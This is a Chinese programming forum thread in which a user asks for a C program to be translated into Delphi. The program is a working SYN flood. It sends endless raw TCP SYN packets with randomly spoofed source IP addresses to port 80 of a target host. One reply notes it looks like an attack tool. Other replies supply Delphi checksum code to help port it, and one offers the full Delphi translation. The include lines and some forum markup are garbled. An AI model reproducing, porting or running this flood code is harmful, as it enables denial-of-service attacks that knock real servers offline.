谁能帮我把这段 C 程序翻译成Delphi？(200分)

include

#include

#include

#include

#include

#include

#include

#include

#include

　

#define DESTPORT 80 /* 端口(WEB) */

#define LOCALPORT 8888

　

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);

　

int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

　

if(argc!=2)

{

fprintf(stderr,"Usage:%s hostname＼n＼a",argv[0]);

exit(1);

}

　

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

　

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName Error:%s＼n＼a",hstrerror(h_errno));

exit(1);

}

addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

}

　

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

　

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%s＼n＼a",strerror(errno));

exit(1);

}

/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

　

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

　

setuid(getpid());

　


send_tcp(sockfd,&addr);

}

　

　

　



void send_tcp(int sockfd,struct sockaddr_in *addr)

{

char buffer[100]; /**** 用来放置我们的数据包 ****/

struct ip *ip;

struct tcphdr *tcp;

int head_len;

　



　

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

　

bzero(buffer,100);

　

/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/

ip=(struct ip *)buffer;

ip->ip_v=IPVERSION; /** 版本一般的是 4 **/

ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/

ip->ip_tos=0; /** 服务类型 **/

ip->ip_len=htons(head_len); /** IP数据包的长度 **/

ip->ip_id=0; /** 让系统去填写吧 **/

ip->ip_off=0; /** 和上面一样,省点时间 **/

ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/

ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/

ip->ip_sum=0; /** 校验和让系统去做 **/

ip->ip_dst=addr->sin_addr;

　

/******* 开始填写TCP数据包 *****/

tcp=(struct tcphdr *)(buffer +sizeof(struct ip));

tcp->source=htons(LOCALPORT);

tcp->dest=addr->sin_port; /** 目的端口 **/

tcp->seq=random();

tcp->ack_seq=0;

tcp->doff=5;

tcp->syn=1; /** 我要建立连接 **/

tcp->check=0;

　

　



while(1)

{



ip->ip_src.s_addr=random();

　

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */

/** 下面这条可有可无 */

tcp->check=check_sum((unsigned short *)tcp,

sizeof(struct tcphdr));

sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));

}

}

　

/* 下面是首部校验和的算法 */

unsigned short check_sum(unsigned short *addr,int len)

{

register int nleft=len;

register int sum=0;

register short *w=addr;

short answer=0;

　

while(nleft>1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(unsigned char *)(&answer)=*(unsigned char *)w;

sum+=answer;

}

　

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

answer=~sum;

return(answer);

}

dos程序和windows程序不同，首先dos要向windows移植，就要重写（不包括控制台程序）

另外，有的函数在c中有， delphi不一定就有。
不如先读懂此程序。
自己用delphi重写之

牵牛上木

不，是铁牛过河，胆量可佳。
不过我欣赏你！

直接用SOCKET控件多省事啊
如果不用控件直接用API,那么如果你看不懂上面的程序也没有办法

把他编译为dll

这个程序好象是想用来作伪装IP，发攻击包使用吧？

谁会？

我现在正在写基于TCP/IP系统底层的网络开发，大家多多联系！

setuid(getpid()); *********
这是以前的用在linux下的一段。
看清楚了.sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
windows socket2.0才支持.
到win2000才可了。
这是基本的.后面的都是计算填充TCP/IP的头结构的参数.
给分.

拜托，我看不懂C语言，能不能翻译成Delphi的？ Pascal也行啊

关注

我来

我就是不知道校验和部分该怎么写？DELPHI的指针没C那样灵活，哪位给个DELPHI的校验和代码
吧。首先，发送缓冲区是个数组的话，计算校验和应该是按

校验和代码见下:

function check_sum(addr: PWord; len:Integer):Word;
var
nleft,sum:Integer;
wWord;
begin
nleft:=len; //完全可以不用中间变量nleft而直接使用len
sum:=0;
w:=addr;
Result:=0; //answer=0

while nleft>1 do
begin
Inc(sum,w^); //求和
Inc(w); //指针后移
Dec(nleft,2); //长度减少( Word = 2 Byte )
end;
if nleft=1 then //长度为奇数
begin
PByte(@Result)^:=PByte(w)^;
Inc(sum,Result); //这两句可以合并为 Inc(sum,PByte(w)^);
end;

sum:=sum shr 16+sum and $FFFF;
Inc(sum,sum shr 16);
Result:=not sum;
end;

应该没什么问题.

我昨晚又想了一下，我这样也通过了。。。。

function Tform1.checksum(var bufferointer;size:integer):word; // 算校验和的子函数
var
cksum:longword;
buffer1:^word;
begin
cksum:=0;
buffer1:=buffer;
while size > 1 do
begin
cksum:=cksum+buffer1^;
buffer1:=pointer(integer(buffer1)+2);
size:=size-sizeof(word);
end;
if size =0 then
begin
buffer1:=pointer(integer(buffer1)+2);
cksum:=buffer1^+cksum;
end;
cksum:= (cksum shr 16) + (cksum and $ffff);
cksum:=(cksum shr 16) + cksum;
result:= not cksum;
end;

以上的C程序，我全部转化为了DELPHI，谁要可以联系我！
WWWFTPWWW@SOHU.COM

好象是一段在UNIX下面的SOCK通讯程序,用不着翻译的拉
你去看一遍DELPHI帮助目录下MS SDK - WINDOWS SOCKETS 2 REFERENCE
就明白得很了,直接使用SOCKET API而已

[quote][/quote][left[/[][][8D][][!][^][?]b]][/left]

​

直接用SOCKET控件多省事啊
如果不用控件直接用API,那么如果你看不懂上面的程序也没有办法
[8D]

不想死也要累死﹗